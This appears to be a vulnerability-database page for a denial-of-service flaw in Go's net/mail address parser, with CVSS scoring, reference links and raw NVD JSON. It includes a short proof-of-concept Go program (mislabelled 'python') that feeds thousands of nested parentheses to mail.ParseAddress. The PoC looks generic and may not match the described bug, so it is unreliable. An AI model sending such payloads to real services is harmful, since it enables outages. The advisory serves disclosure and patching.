CVE-2026-42499

Description

Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Go标准库 (受影响版本请参考GO-2026-4977)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

package main

import (
	"fmt"
	"net/mail"
	"strings"
)

func main() {
	// PoC for CVE-2026-42499
	// Demonstrates parsing a potentially pathological email address.
	// A specific pattern (e.g., excessive nesting or repetition) is required to trigger the DoS.

	// Example payload: deeply nested comments or long repetitive phrases
	maliciousPayload := strings.Repeat("(very", 5000) + "test" + strings.Repeat(")", 5000) + "@example.com"

	fmt.Println("Attempting to parse malicious email address...")
	_, err := mail.ParseAddress(maliciousPayload)
	if err != nil {
		fmt.Printf("Parse error: %v\n", err)
	} else {
		fmt.Println("Parse successful (unexpected)")
	}
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42499
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42499
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42499/
[4] VulDB https://vuldb.com/cve/CVE-2026-42499
[5] https://go.dev/cl/771520
[6] https://go.dev/issue/78987
[7] https://groups.google.com/g/golang-announce/c/qcCIEXso47M
[8] https://pkg.go.dev/vuln/GO-2026-4977

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42499", "sourceIdentifier": "[email protected]", "published": "2026-05-07T20:16:44.540", "lastModified": "2026-05-08T22:16:33.183", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pathological inputs could cause DoS through consumePhrase when parsing an email address according to RFC 5322."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://go.dev/cl/771520", "source": "[email protected]"}, {"url": "https://go.dev/issue/78987", "source": "[email protected]"}, {"url": "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "source": "[email protected]"}, {"url": "https://pkg.go.dev/vuln/GO-2026-4977", "source": "[email protected]"}]}}